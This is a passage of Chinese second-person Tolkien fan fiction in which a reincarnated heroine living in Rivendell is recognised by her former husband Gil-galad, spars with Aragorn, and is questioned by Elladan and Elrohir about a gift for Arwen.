吉尔-加拉德到达幽谷的那一天天气明朗,天空万里无云,尤其是在午后阳光愈发灿烂,此时的你正好在听埃尔隆德讲课,在你委婉的建议下,埃尔隆德适当地削减关于诗歌的课程并且增加了关于锻造的课程,这让你非常满意。 而课程进行到一半,林迪尔就敲响埃尔隆德书房的门,这画面似曾相识,如果阿拉贡在场的话肯定会说他以前见过类似的画面,然后下一秒林迪尔就说:“领主大人,有一位来自纳国斯隆德的客人。” 精灵的记性都很好,埃尔隆德听见林迪尔这么说,他就知道那位客人具体是谁了,他喃喃自语:“这次他又是为了什么而来的呢?” 而你呢,你还一头雾水呢,因为林迪尔只说那是来自纳国斯隆德的客人,其他的信息都没有透露,因此你还以为那位客人是芬罗德呢,如果是芬罗德的话。他来这里又是因为什么呢? 埃尔隆德有些为难,因为他现在上课给你上到一半,如果直接暂停上课的话似乎也不太好,所以他的脸上浮现出犹豫的神色,你捕捉到他的神色变化,就说:“我觉得也应该课间休息一会儿了,而且那位客人远道而来,总不可能让客人久等吧?” 有你这一番话,埃尔隆德也顺势表示课程暂时中止,你跟着埃尔隆德离开书房,你也对那位客人有些好奇,所以打算跟着去看看对方到底是谁。 如果是芬罗德的话,他又为什么要突然到访呢?是带着什么目的而来的呢? 在你的印象里芬罗德一直都是纳国斯隆德的明君,想必他如果真的到访那肯定也是为了正事才来的。 还没等你们走到大厅,你询问林迪尔,“那位客人是纳国斯隆德的君主芬罗德大人吗?” 却没成想林迪尔摇了摇头,“不,是另外一位大人。” 你们又走了一段路,等到达大厅的时候你一眼就看到了站在大厅中央的精灵,你不由得脚步停顿一下,原来那位客人正是吉尔-加拉德。 按理来说,在这一个副本中的你们是形同陌路的陌生人,而且你在这个副本里也是第一次见到他,所以你尽可能表现出初次见到这位陌生精灵的好奇,你说:“这位是……?” 还没等林迪尔亦或是埃尔隆德向你介绍,只听见站在远处的吉尔-加拉德开口:“吉尔-加拉德,这是我的名字。” 他那说话的语气略显急促,就好像是他等待这一刻已经等待了太久,他朝你投来一个眼神,是你非常熟悉的可怜兮兮的眼神。 也是你当初在上一个副本临死前看到的最后一个眼神。 那些你原本以为都被忘却的过往,仅仅只是因为他的一个眼神就随之浮现在脑海中,你与他初见的画面,他为你而死的画面,他因为与你的婚约而激动流泪的画面,以及他伏在你的床头眼含泪光请求你不要丢下他的画面。 好吧,你的记忆力比你想象的还要强大许多。 你避开他的视线,垂下眼帘,礼貌地说:“吉尔-加拉德大人,您好。” 正是你那礼貌得体的问好,那疏离的态度却让吉尔-加拉德的脸色变了,就连他唇角的笑容也一点一点地消失,他说:“你……” 你不记得他了吗? 第79章 第79章那是一种带着几分恳请的…… 是哪里出错了吗?还是他听错了呢?吉尔-加拉德不由地陷入沉思,他的双眼一眨不眨地注视着你,试图从你脸上寻找到不同的答案。 但是并没有,你的表情依旧冷静疏离,甚至还带着几分礼貌,站在你身边的埃尔隆德说道:“您长途跋涉而来,一定有些疲惫了吧?” 不,疲惫的事情倒是次要的,更重要的是你为什么会用那样的眼神看他。 尽管吉尔-加拉德在见到你之前已经做好了心理准备,他知道哪怕人类的灵魂再次回到阿尔达,也不代表性格会和上一世一模一样,可是…可是…… 碍于其他精灵还在场,他不得不勉强挤出一个笑容,那是充满苦涩的笑容,“其实也不算多疲惫。” 埃尔隆德察觉到现场的气氛有些古怪,他先邀请吉尔-加拉德去旁边的议事厅坐一坐,后者轻轻地点了点头,而后与埃尔隆德以及他的助手林迪尔离开这里。 在场的幽谷精灵都在欢迎来自纳国斯隆德的精灵,几乎每个精灵的脸上都洋溢着轻松的笑容,除了格洛芬德尔,他不觉得吉尔-加拉德来幽谷仅仅只是顺路而已,他肯定是带着其他的目的而来的。 究竟是怎样的目的呢?格洛芬德尔刚才注意到吉尔-加拉德看向你的目光与看向其他精灵的目光截然不同,那是一种带着几分恳请 的眼神。 他又在恳请什么呢?明明这是他与你的第一次见面,你们之前应该是没有见过的。 诸如此类的疑惑不由得让格洛芬德尔的眉毛皱起,这一次你没有跟着埃尔隆德离开,原因也很简单,因为要是跟着一块儿去了,那你接下来肯定还得要承受来自吉尔-加拉德哀伤的目光注视。 这样的目光让你很不自在。 真奇怪,难道说你之前寄出的那封信真的送到他手上了吗? 但是……他又怎么能确认这封信是你写的呢?毕竟当初你在写这封信的时候,只有阿拉贡在你身边,没错——阿拉贡。 想来想去,也只有可能是他透露了你写下这封信的消息,于是你主动找到阿拉贡,询问道:“今天那位从纳国斯隆德来的精灵吉尔-加拉德你以前见过他吗?” 这名字听上去很熟悉,好在阿拉贡的记性不错,他稍微回忆了一下,他说:“嗯我之前见过他,在我来到幽谷没多久以后他也造访了埃尔隆德,我不知道他们之间谈论了什么,但是这位精灵客人还专程与我单独谈话,并且拿出了你之前寄出的那封信。” 听到这里一切就都能说得通了,原来是因为阿拉贡,你说:“那么你告诉他了吗?告诉他这封信是我写的吗?” “是的,我通过信纸上的字迹辨认出,这是你写的信,当时他的表情——”阿拉贡停顿了一下,“我不知道该怎么形容他的表情,我只觉得那个时候的他很悲伤,或许是因为没能帮助我们抵抗半兽人大军吧?” 让吉尔-加拉德感到悲伤的原因,不仅仅是因为他没能帮助你们抵抗半兽人大军,更是因为在他看来正是他的过失,使得自己错过了爱人的转世。 甚至于对方很可能早已死在半兽人的刀剑之下,哪怕阿拉贡没有详细和你说明你也能够想象出那一幅画面,以及吉尔-加拉德沉浸在背痛中的神色。 阿拉贡只猜中了一部分的原因,旋即他又开始好奇你怎么突然问这个问题,“是吉尔-加拉德大人对你说了什么吗?” 在阿拉贡看来这位精灵和埃尔隆德一样温和友善,这也是为什么他当初会告诉对方那封信是你的字迹。 “没什么,只是今天和他见了一面而已。”你轻描淡写地说。 阿拉贡“噢”了一声,“嗯?他今天还来幽谷了?我怎么不知道呢?” 这问题应该变成他怎么会知道呢?毕竟他这些天要么就是和莱戈拉斯待在一块,又或者是和你一起切磋,不得不说,多年不见,你的剑术水平令他都不由得感到惊奇。 每次和你切磋的时候,他都得要打起一百二十分的精神才能保证与你打成平手,一旦他分心,就会落入下风最后被你用剑锋指着喉咙。 “我也是刚刚才知道的消息。”你说。 阿拉贡很快就将这件事情抛到脑后,他邀请你再进行一次切磋,他很热衷于与你切磋,因为只有在对练的时候你的注意力才是完全集中在他身上的。 你想了想,今天的课程进行到一半就因为吉尔-加拉德的突然到访而打断,估计今天都不会再继续上课了,剩下的时间你倒是可以分一部分出来和阿拉贡对练。 于是你点了点头,“这一次也是比拼剑术吗?还是单纯的体术呢?” 阿拉贡对着你眨了眨眼睛,“可以都来一遍吗?” 行吧,反正你今天很空闲,你说:“可以。” 听到你这么说,阿拉贡就自然而然地忘了和埃尔拉丹还有埃洛希尔的约定,本来约好了今天要去幽谷附近狩猎的,但既然你答应了他的邀请,那他就习惯性地将你置于其他精灵之前,当然,他也没有忘记告知埃尔拉丹兄弟俩一声。 平常你和阿拉贡切磋的地方基本上都是在露天训练场进行的,今天也不例外,在去往训练场之前,你又先回了一趟自己的房间,换上更加轻便合身的战斗服,这套战斗服还是当初陶瑞尔为你定做的,因此极具密林特色。 这里说的密林特色其实就是大面积的墨绿色,外加少许深棕色作为点缀。 你换上战斗服,步履轻快地从房间里离开,行走在长廊上,阿拉贡也顺势回到自己的房间换上另外一套服装,他离开房间的时候还不忘带上宝剑,这把宝剑还是幽谷双子为他打造的。 他上次看见这对双生子在讨论是否要为你也打造一把类似的宝剑,根据阿拉贡对他们办事效率的了解,要不了多久,你就能收到一把崭新的宝剑了。 吉尔-加拉德的到来似乎没有影响其他幽谷精灵的生活,顶多就是气氛变得更加热闹了一些。 在这样热闹的气氛中,黯然神伤的吉尔-加拉德就显得格格不入,他的注意力还停留在你对他冷淡疏离的态度上。 如果你真的一点都不记得他了,又为什么会给他寄出那封信呢? 难道是有其他人伪装了你的字迹寄出这封信吗?那么这么做的人到底有什么目的呢?是为了利用他吗? 又或者……是出于别的原因你才拒绝认识他的么?他越是思考越是觉得这个可能性很高。 而且他刚才仔细回忆一下才想起来,刚刚在大厅似乎格洛芬德尔也在场,的确,人类的灵魂能够转世的情况很少见,甚至放眼整个世界都很难找出几个例子,你之所以那么做也是出于种种考虑。 想到这里,他的脸色就没有一开始那么凝重了。 埃尔隆德将他的神色变化都收入眼底,还没等他开口询问吉尔-加拉德的来意,对方就主动说明,原来他是带着加拉德瑞尔的消息而来,对方提醒埃尔隆德要小心南部地区,尤其是魔多的暗影,除此之外还告知埃尔隆德他的女儿阿尔温不日可能会回到幽谷。 对于埃尔隆德来说这两个消息的重要程度是同等的。 但如果只是为了传达消息,倒也没必要那么大费周折地让吉尔-加拉德过来,毕竟这实在是太麻烦了,所以直觉告诉埃尔隆德,对方人可能还隐瞒了重要的事情。 只不过既然他没有主动告知,埃尔隆德就也没有特意询问,他只是尽可能尽到东道主的责任。 “她是什么时候来到幽谷的?”谈话谈到一半,吉尔-加拉德就忽然冒出这样一个问题,显得很没头没尾。 埃尔隆德说:“就在前一阵子,她是在巨鹰的护送下到达幽谷的。” 吉尔-加拉德显然对这个话题更加感兴趣,他还问了很多问题,比如你来的时候状态如何?是否受伤了?路上有遇到危险吗? 就算是再迟钝的精灵都会察觉出吉尔-加拉德对你的特殊之处,对于他的问题,埃尔隆德非常有耐心,一个接着一个地回答过去,有时候还会停下来说一些细节。 听到最后,吉尔-加拉德才说:“那就好……” 他在为你劫后余生而感到庆幸。 说实话,埃尔隆德和吉尔-加拉德的关系算不上太熟悉,如果不是当初他突然造访幽谷估计埃尔隆德很少会与这位精灵领主有交集。 一来是因为纳国斯隆德与幽谷距离遥远,二来也是因为他们之间虽然存在亲缘关系,但也是遥远的亲缘关系。 所以总的来说,埃尔隆德和吉尔-加拉德的相处始终保持着礼貌的状态,前者认为这样不远不近的关系会一直持续下去,但是事实证明,他这次猜错了,因为吉尔-加拉德不再像上次那样只是造访而后很快离开,看他的样子他或许会在幽谷停留一段时间。 当然,埃尔隆德倒是不会在意这些,毕竟吉尔-加拉德在这里居住一段时间对他也不会产生什么影响,而且幽谷的精灵也很欢迎这些来自纳国斯隆德的客人。 在埃尔隆德与吉尔-加拉德谈话间,你和阿拉贡已经来到那个熟悉的露天训练场,你手中握着宝剑,阿拉贡站在你对面不远处,他手中也握着那一把宝剑,正是幽谷双子打造的宝剑,你们的剑术切磋向来都是点到为止。 你和阿拉贡四目相对,空气凝固了几秒,紧接着你才说:“开始吧。” 话音才落下,你瞬间就提起宝剑朝着阿拉贡奔去,你在奔跑的时候俯低身体压低重心,以此来提高奔跑的速度,你的剑术风格向来都是快准狠,尤其是速度这一块,毕竟只要对手跟不上你出招的速度,那就意味着这场对决,你的胜算大大提高。 经过和你的几次切磋阿拉贡也摸索出你的进攻特色来,那就是以速度取胜,不过这也不代表你的力量占下风,只是你的速度远比你的力量更加优秀。 阿拉贡早就猜到你一上来就会主动攻击占据主导权,这就和你平日里的行事风格是一样的,你更倾向于将控制权紧紧握在自己的手里。 正所谓知己知彼,百战不殆,因为阿拉贡早就做好了心理准备,所以面对你那铺天盖地的攻击,他不再像之前那样应接不暇,反而有计划地躲开你大部分的攻击。 至于剩下的攻击无法躲开,那就选择承受。 因为你有意识地控制自己的力道,所以即便阿拉贡被你击中,但也不足以造成重伤,顶多就是一些轻微的皮外伤而已。 这两场切磋无论是剑术的切磋还是体术的切磋都以你的胜利收场。 两场对决下来,你的额头上都冒出一层薄汗,你抬起手擦去那一层汗水,出汗的感觉不太好受,阿拉贡还有些兴奋地和你分析刚才在切磋中获得的领悟。 你漫不经心地听他说着那些分析,无非就是一些 他觉得哪些招数可以改进,又或者是细微的动作改变,以此来提升攻击的力度,关于这个话题,他可以喋喋不休地说个不停。 而你的回应也大差不差,大概就是“嗯”“还可以”“我觉得可行”“差不多吧”之类的。 你们一边说着一边从那个露天训练场离开,你心里想的都是先回到自己的卧室,好好清理一遍洗去身上的汗水,再换一套新的衣服。 阿拉贡走到一半就又被埃尔拉丹他们拉着去工坊了,看他们神神秘秘的样子,似乎在瞒着你是做什么事。 埃尔拉丹临走前还对你点了点头,埃洛希尔笑着说:“我们就先把埃斯泰尔借走啦。” 那你还得感谢他们的,毕竟如果不是他们,你还得找个借口和阿拉贡分开呢。 “好的,那么再见。”你没什么依恋地说。 第80章 第80章这对精灵双子陷入沉默。…… “唉,看样子你的妹妹并不是那么喜欢你嘛。”等走出一段距离以后埃洛希尔才那么说,他说的这一番话调侃的意味居多。 阿拉贡也听出他的意思,他说:“难道您们的妹妹就很依赖您们吗?” 刚才还一起笑着的埃尔拉丹以及埃洛希尔脸上的笑容不约而同地消失了,因为这还真是被阿拉贡给说中了,他们的妹妹也就是暮星公主阿尔温,她确实对这对双生子哥哥没有那么依恋,否则她也不会常年居住在洛丝罗瑞恩,生活在她的祖母加拉德瑞尔夫人身边。 “你这么说就有点伤害我们的心了啊。”埃洛希尔说,毕竟他们的妹妹从小性格独立,所以不会那么依赖他们,这也不是他们能够决定的东西呀。 阿拉贡从善如流地道歉,“抱歉,看来我刚才的话戳中您们的伤心事了,不过现在看来我们的处境似乎也差不多。” “嗯……也不能说是完全差不多吧。”埃尔拉丹在心中将你和阿尔温认真比对,就会发现你们的性格有很明显的差别,你的性格更加冷淡平静,说实话就连阿拉贡都没见到过你情绪激动的样子,更别提埃尔拉丹这对兄弟了。 但阿尔文不是这样的,精灵的记性都很好,埃尔拉丹还记得以前带着他们的妹妹阿尔温去幽谷的森林里探险,结果遇到了野兽,阿尔温显然就被吓坏了,当然即便他被吓到了,却也尽可能保持冷静。 只不过埃尔拉丹和他的弟弟埃洛希尔,因为这件事其少见地被他们的父亲埃尔隆德禁足了一段时间。 “而且阿尔温也不会像你的妹妹那样提起宝剑就气势汹汹。” “那我就把您的这句话当成夸奖了。”阿拉贡说。 阿拉贡和精灵双子的谈话声伴随着他们的渐行渐远而逐渐变得微弱。 反观你这边,你走到一半就又遇到了另外一位精灵,毫不意外地,那位精灵正是吉尔-加拉德,他说:“真是巧合。” 你可不觉得这是什么巧合,因为说不定对方已经在这里等候多时,就等着你路过这里了。 “真是巧遇。”你学着他的样子回答道。 “我没想到你这么快就结束了与埃尔隆德大人的对话。”你说着,吉尔-加拉德又说:“因为我要说的事情,他早就在信里提前了解过,所以沟通起来也不会花费太多的时间。” 吉尔-加拉德说:“当初你寄出的那一封信,我收到了,只是晚了几天,我……” “我认为你没必要感到自责,因为这也不是你的错。”你安慰道。 “什么,所以那封信真的是你写的,而且你也记得这件事以及其他的——”吉尔-加拉德有些激动地说,按理来说,几千岁的精灵情绪趋于平缓,很少会产生波动,但他的情绪都是因为你而起。 意识到自己的声音陡然拔高,吉尔-加拉德又降低音量,说:“我现在又该如何称呼你呢?” 他的声音里带着几分颤抖,与之形成鲜明对比的是你平静如水的脸色,你说:“伊玟,亚玟,弥尔洛斯,无论你怎么称呼我都行,因为这些都是我。” 那些名字,那些称呼都不重要,重要的是你的灵魂从未发生过改变,他哽咽着说:“那么我呢,我对于你来说又是什么呢?是‘曾经认识的精灵’?还是‘已经被遗忘的存在’呢?” 他对这个问题的在乎程度肉眼可见,如果说在之前,他还能通过与你的婚姻来确认你对他存在的爱的话,那么现在的他又该通过什么来确认这份感情呢? 你没有着急回答他的问题,因为你总觉得就算自己现在说的答案再怎么完美,他都可能听不进去,至于为什么你那么肯定?那当然是因为你看见了他泛红的眼眶,再过没多久眼泪就会顺着脸颊流下。 而现在这个场景,在长廊上随时可能会有其他精灵路过,你不觉得这是个适合谈心的好场合。 所以当务之急还是先换个地方,你主动牵起他的手,拉着他往另外一个方向走,你记得那个方向有一间偏僻的休息室,平常不会有精灵去往那里,因此那也成了你们现在谈话的最佳场合。 被你握住手腕的精灵丝毫没有反抗的意思,他任由你牵起他的手,甚至还调整自己的步伐与你的步调一致,他什么都没有说,既不询问你要带他去哪里,也不询问你接下来要做些什么说些什么,他只是……很自然地就将主导权交给你,就好像无论你对他做什么他都能够接受。 “你难道就不问问我要带你去哪里吗?”最后还是你忍不住问他,他好像对你实在是太放心了,就不害怕你什么时候对他下手吗? “我觉得不需要问,因为只要能和你呆在一起去往哪里都可以。” 几千年前的他就对你说过类似的话,几千年过去了,他似乎一点长进也没有,还是对你说着这样的话,全心全意地信任着你。 “哪怕是地狱?”你笑盈盈地问道,带着几分恶趣味。 吉尔-加拉。德却还认真地点点头,“如果你愿意带上我的话。” 你抿抿唇,嘟哝一声真是倔脾气。 后来你不再言语,沉默地拉着他走到那个偏僻的休息室,然后一把关上门,示意他随便找个位置坐下。 他选了一个离你最近的位置,坐下以后又抬起头去看你,你被他这么一直盯着难免有些不自在,你移开视线,说:“那么你有什么想要问我的吗?” 吉尔-加拉德思考片刻,你原本以为他会问你为什么不早些给他写信,又或者是 询问你为什么刚才装作不认识他,但是到最后他问出的第一个问题却是,“转世会疼吗?” 这算什么问题呀?倒不如说这个问题到底有什么意义吗? 你不解地眨了一下眼睛,“你是故意这么问的吗?就是想要看到我不知道该怎么回答的样子吗?” 吉尔-加拉德伸出手想要握住你的手,但是考虑到你对他的态度尚不明朗,就又收回手,“不……我只是想要知道经历转生的时候会感到疼痛吗?” “就算真的感到疼痛了,你又能为我做些什么呢?”你下意识地反问道。 “我不知道……”是啊,他又能为你做些什么呢?他刚才的询问起不到任何作用,更像是在为了消除自己内心的愧疚。 你看到他哀伤的眉眼就觉得自己的耐心都要耗尽了,你干脆利落的伸出手捂住他的眼睛,然后说:“好了,不要再用这样的眼神看我了,我可以告诉你,这个过程一点也不疼痛,这下子你总算不用难过了吧?” 吉尔-加拉德的眼睫轻轻地颤抖着,他说:“我的到来会给你添麻烦吗?这一次你又有什么计划呢?” 他很了解你,知道你重来一次也不会心甘情愿的成为阿拉贡的助手,你不是这样的人,你那骄傲的性格也使得你注定要造就另外一番事业。 “还好,只是稍微有点麻烦而已。”在确认他不会哭泣以后,你总算是收回手,然后坐在他对面,“在刚才的初次见面时,你表现得太明显了。” “很明显吗?”吉尔-加拉德还以为自己隐藏得很好呢,殊不知在你看来他内心的想法一览无遗,他就差直接把“多看看我”这几个字写在脸上了。 “是的,那么多年过去你怎么还有一点长进都没有呢?” 吉尔-加拉德很认真地说:“可是我并不认为真诚地对待自己的感情是缺点,哪怕再过百年,千年我也依旧是这样。” 好吧,你得收回刚才那句话,也不算是完全毫无长进,嘴皮子功夫倒是利索了不少。 “不过其他精灵应该不会发现的吧。”他说。 这话说得太早了,其他如果是其他不了解你们过往的精灵,确实不会察觉到什么异样,但好巧不巧的是当时格洛芬德尔也在场。 你之前好不容易才让他放弃对你的试探,结果现在吉尔-加拉德一来直接让你之前的努力全都白费,这位精灵又怎么可能不会捕捉到其中的异样呢?而且不光是捕捉到不对劲的地方,甚至很可能现在都已经推测出你的真实身份了。 放在以前,你倒是不介意利用格洛芬德尔,让他成为你的助力,但是现在的他有时候会让你感到陌生。 尤其是他此前注视着那朵你随手送给他的黄金鸢尾花,精灵的爱,尤其是诺多精灵的爱总是如同火焰一般熊熊燃烧,炽热而明媚。 在几千年前,在收到你的婚礼邀请函时,格洛芬德尔就决定将自己对你的爱深埋在心底。 那时的他以为这样的感情再没有重见天日的那一天,其他没有想到这份爱,这份本该随着时间流逝而逐渐淡去的感情,却因为当初的克制而起到了反作用。 在参加你的婚礼之后的每一刻,他无时无刻不在感到懊悔,他想,自己如果当初再争取一下的话结果会不会就不一样了呢? 后悔的阴翳一直笼罩在他的心间,但是因为他的伪装足够完美,甚至于骗过了包括好友埃克塞理安在内其他精灵。 他们都认为格洛芬德尔对你的感情是真挚的友情,更多的是来自精灵对人类的爱护,但只有他自己知道,这份感情没有那么简单。 因此在看到任何一丝一毫的可能性,在意识到你的灵魂或许没有离开阿尔达,并且还再一次转生为人类,在那一瞬间,他下意识地认为那很可能是仁慈的维拉听到了他千百年来从未间断过的祈祷。 所以当你还在担心格洛芬德尔可能会起疑心的时候,其实对方都已经直接把来龙去脉都推理清楚了。 “我担心格洛芬德尔可能会发现什么……”你说,不过有他帮助你好像也不是什么坏事,就是他和吉尔-加拉德凑在一块很可能会重演当初夏日宴会的扯头花画面。 嗯……这就有点难办了。 根据你对现在局势的分析,还得要感谢你在上一个副本做出的贡献,让你现在成为一国之首的阻力小了不少,得益于吉尔-加拉德对与你立下的约定的严格遵守,这使得多尔罗明和纳国斯隆德在千百年后仍旧保持着密切的关系。 甚至于多尔罗明每一任选举出来的统帅都会定期与吉尔-加拉德会晤。 所以让你来说,如果你想要再一次成为多尔罗明的最高执政官的话,你完全可以选择走捷径让纳国斯隆德向多尔罗明将你推选为下一任统帅的候选人。 但你不打算那么做,因为虽说曾经有一些历史学家评价,你是冷血的反叛者,认为你破坏了多尔罗明原来的传统,并且觉得你所取得的一切成就都只是因为你拥有一位全心全意辅佐你的精灵伴侣。 但实际上你所谓的反叛,只不过是因为对于原有的腐朽不堪的旧规则感到不满,因此选择破除旧规则,制定新规则。 既然是由你制定了选举的规则,那么你也应该遵守相关的规则,这不仅仅是对于规则的尊重,也是对于现在多尔罗明秩序的维护。 而且贸然改变一个国家的规则,大概率会带来无尽的动乱,这不是你想要看到的画面,你也不希望那么多代人的心血毁于一旦。 所以你这次打算老老实实地通过参军来一步一步达成自己的目的,关于这个计划你和谁都没有说过,因为这还只是一个初步的计划,在你的脑海里只有一个想法而已。 哪怕吉尔-加拉德询问你接下来的打算,你也没有告诉他这个想法,主要是你总觉得如果告诉了他,那么他又会着急地跟着你一同参军。 他肯定会那么做的,就跟你以前只是透露出自己可能受到诅咒,他就急得连夜翻看相关书籍,而且还给自己的亲族写了很多信,都是为了你而向他们求助。 你说:“我暂时还没有别的什么计划。” 吉尔-加拉德点了点头,“如果有什么我能够帮得到你的地方,请尽管开口。” “现在确实有你能帮到我的地方,那就是尽可能装作不认识我吧,暴露我转生的身份对我来说没有太多好处。” 而且一旦这个消息传到索伦耳朵里,他肯定会不计一切代价来杀死你的,不仅仅是为了给他曾经的主人报仇,还是为了斩草除根,铲除日后的隐患。 所以你目前还是行事低调一些比较好。 吉尔-加拉德满口答应下来,“好。” 在那之后,他确实装出一副之前不曾认识你的模样,只是偶尔,你在上完一天课,回到卧室的时候会发现自己的窗台边多出一张小纸条,纸条上还会缠绕着一条花枝。 不用想也知道那是谁送来的,就跟他在与你结婚的前夕他频繁送来的小纸条一样,他现在还保留着这个小习惯。 这天也是,你刚刚回到自己的卧室手里还拿着几本医学相关的书,你把书放在桌上,习惯性地撇了一眼窗台,然后瞧见原本空荡荡的窗台上又多出一张小纸条,还有一朵明媚的报春花。 你拿起那张小纸条,把那一朵花枝夹在书本里,等到时候风干了就能当成书签来用了。 至于那张小纸条,你坐下以后才展开纸条,上面写着的一般都是几句简短的话,或是说今天的天气如何,又或者是说今晚的月色肯定很美,总之就是些很平淡的话语。 纸条下方都会留出一片空白的地方,这就是给你写回复的地方。 他今天这张纸条上写的是:我今天亲眼看到马厩里的小马驹学会了走路。 还真是难为他居然能把这么小的事情都记下来告诉你。 你在那句话之后跟上自己的回答。 ——那只小马驹叫什么名字? 写完回答,你就又把这张纸条折叠起来,放回到窗台原来的位置,等到明天你去上课的时候吉尔-加拉德就会收走这张小纸条,再换上一张新的。 他做这些事情还得要掩人耳目,不被其他人或者是精灵发现。 隔天早上你醒来以后简单地洗漱一番就准备出门,先去用过早餐,然后再去埃尔隆德的书房进行今天的课程,你这段时间的日程就是这么简单的两点一线。 不过凡事都有例外,你今天就遇到了突发情况,准确来说也不能算是突发情况,而是你在用早餐的时候遇到了埃尔拉丹和埃洛希尔这对兄弟,你平常也不是没在早餐时间遇到过他们,只是他们今天一见到你就露出一副神 秘兮兮的笑容。 而且他们明明都已经用过早餐了却还坐在旁边等你,这让你一头雾水,你和这对精灵兄弟的关系好像还没有亲近到可以让他们等你吃早餐吧? 你慢条斯理地咀嚼着面包,偶尔抬起头看一眼身边的精灵,虽然他们注视着你的一举一动,但是你仍旧有条不紊地享用自己的早餐,等你喝完杯子里最后一口果汁,你才问他们:“请问您二位有什么事吗?” “我们俩刚才都看你看了那么久,你怎么到现在才问这句话呀?”埃洛希尔的性格比哥哥埃尔拉丹更加活泼,他一开口那问题是一个接着一个地朝你丢过来。 “因为我刚才正在吃早餐,我不太习惯在吃早餐的时候和其他精灵交流。”说着,你用餐巾擦拭嘴唇,你也挺好奇他们到底想要对你说些什么。 “好吧好吧,这不是重点,重点在于你是阿拉贡的妹妹对吧?”埃洛希尔摆摆手,表示自己不在意你之前说的话。 但他自己说的话让你更加迷惑了,“我以为我在初次来到幽谷的时候就已经进行自我介绍过了,是的没错,我是阿拉贡的妹妹,这一点您们通过外表应该也能确定的吧?” “唉,还是让我来吧,你说话也完全找不到重点。”埃尔拉丹都要看不下去了,他从弟弟埃洛希尔那里接过话头,然后说,“我们想要说的重点是既然你是阿拉贡的妹妹,那么你身为妹妹最希望你的哥哥能送给你什么礼物呢?” 你一下子就反推出他们的真实目的,“我知道了,您们这是在为暮星公主的到来未雨绸缪,是吗?” “阿拉贡的妹妹还真是聪明呢。”埃洛希尔小声地嘟哝一句。 因为你们之间的距离很近,所以你听得一清二楚,你说:“如果您们真的想要从我这里获取准备礼物的建议,那么不如在此之前先接受我提出的另外一个建议。” 无论是埃尔拉丹还是埃洛希尔,这时候都竖起耳朵认真听你接下来要说的建议,你的声音响起。 你说:“我的第一条建议就是,如果您们要评价我,那就不要说是‘阿拉贡的妹妹’,是的,这的确是个事实,毫无争议的事实,但是这也不是你们理所当然把它当成称呼的原因。我有自己的名字,亚玟,所以请称呼我的名字吧,而不是用谁的妹妹来指代我。” 埃尔拉丹和埃洛希尔听得很认真,他们连连点头,从善如流地改变对你的称呼,说:“那么亚玟,你有什么好建议吗?如果是阿拉贡送给你礼物的话,什么样的礼物才能让你充满惊喜呢?” 如果放在上一个副本,你会毫不犹豫地回答要是送给你多尔罗明国王的王冠你会非常惊喜,但是这已经是第二个副本了,你已经凭藉着自己的双手真真切切地拥有过权力,所以你一时之间好像还真的想不到有什么礼物能够让你感到惊喜的。 “嗯……让我想想,那大概是…他的忠诚?” 埃尔拉丹兄弟俩没想到你会给出这样的答案,而且这个回答听上去更像是一位君主对他的下属提出的要求。 “除此之外呢?你就没有别的想要的东西吗?” 你说:“我想要见一见伊露维塔,这能实现吗?” 这对精灵双子陷入沉默。 80-90 第81章 第81章“你怎么突然拉着我走了…… 你那说的都是什么呀,那是礼物吗?那真的不是把他们当成万能的许愿机了吗? 还是说,你这是故意那么说的吗? 埃尔拉丹轻咳一声,“我们是认真的,希望你能够提供一些有用的建议。” “但您们不是说让我回答自己最想要的东西吗?那我说的都是真心话。”你十分真诚地对着他们眨了一下眼睛。 “好吧,看来我们之间存在着一些沟通上的问题,那不如让我们把问题再重新说一遍,那就是‘有什么比较容易制作或者得到的礼物是你身为妹妹想要的呢?’”埃洛希尔说。 唉,接触下来以后就会发现你和阿拉贡的性格截然不同,他们还以为你既然和阿拉贡是双生子,那怎么说性格应该也会有相似之处的吧? “你们不如先和我说说你您们的妹妹阿尔温是一位怎样的精灵?就算是治病也得要对症下药吧?送礼物也是同理。” 埃尔拉丹觉得你说得有道理,他们起初还觉得这个问题很快就能得到答案,却没想到你给出的回答却是那么复杂。 埃洛希尔奇怪地说:“如果只是单纯的送礼物的话,需要了解那么多的东西吗?” 你问的不光是阿尔温的性格,就连她小时候的趣事都问得很清楚,那感觉就好像是在进行什么调查一样。 “嗯,需要啊,而且我觉得多多了解您们的妹妹也没什么坏处,毕竟我也想要在她心里留下好的初印象。” 要说埃尔拉丹和埃洛希尔不了解你呢,他们听你这么说还觉得很合理。 于是你又那么顺理成章的,从他们嘴里得到了关于暮星公主阿尔温的具体消息,从她的性格爱好到小时候的趣事,他们都很仔细地告诉你。 最后你说:“请允许我花些时间来思考该怎么回答可以吗?” “这个倒是不用着急,因为她还要再过一段时间才到幽谷,我猜祖母不会让她那么快离开的。”他嘴里说的祖母,指的就是洛丝罗瑞恩的加拉德瑞尔。 而此时此刻的洛丝罗瑞恩,加拉德瑞尔恰好也在和阿尔温交谈,叮嘱她之后去往幽谷的路上要注意安全,虽说她还派出了哈尔迪尔等其他精灵来护送她,但不管怎么说,谨慎一些总归是好的。 “幽谷还有埃尔洛斯的后人在吗?”阿尔温问道,她当初听说那本该是一对双生子,但是路上出现意外导致最后到达幽谷的只有其中一个后人。 “是的,而且还有个好消息,那位下落不明的后人也回到了幽谷。”加拉德瑞尔说,她知道阿尔温对这对双生子很感兴趣,尤其是在听说你当初从座狼的攻击中顺利脱险,而且还在多年后重返幽谷。 这样的你绝不是什么普通人,不同于阿尔温的好奇,相较之下加拉德瑞尔就显得更加平静。 因为她总觉得你的举动透露出一种熟悉感,而且再结合这段时间索伦越发频繁的举动就知道有什么事情要发生了。 她抬起头目光看向远方,面色平静如水。 * 你和埃尔拉丹还有埃洛希尔的对话并没有持续多久,因为你接下来还要上课,他们考虑到这一点就没有占用你太多的时间。 甚至一看就要到你上课的时间点了,还催促着你赶紧离开餐厅去书房上课呢。 在路上紧赶慢赶,等到书房的时候还是迟到了,不过好在埃尔隆德性格温和,不会计较你迟到的问题,他还会说:“先休息一会儿吧,我看你来得急匆匆的,肯定刚才遇到了什么事情。” “是埃尔拉丹和埃洛希尔大人有些问题想要问我,这才耽搁了一些时间。” “没关系,正好我也有些事情要对你说,从今天开始,你的一部分课程将会由吉尔-加拉德大人来负责,他是一位耐心友善的老师,所以你也不用担心太多。” 嗯?这件事情他怎么到现在才告诉你呢? 对于吉尔-加拉德接下来成为你的老师这件事,你只是稍微有些惊讶而已,至于担心嘛,那倒是没多少的,因为你深知吉尔-加拉德知识渊博,的确是当老师的料子。 “但……这会不会太麻烦他了呢?”而且你一开始还以为他只会在幽谷停留短暂的一段时间呢,但是现在看来,他大有长住的意思。 不用想也知道他停留在这里的原因是什么。 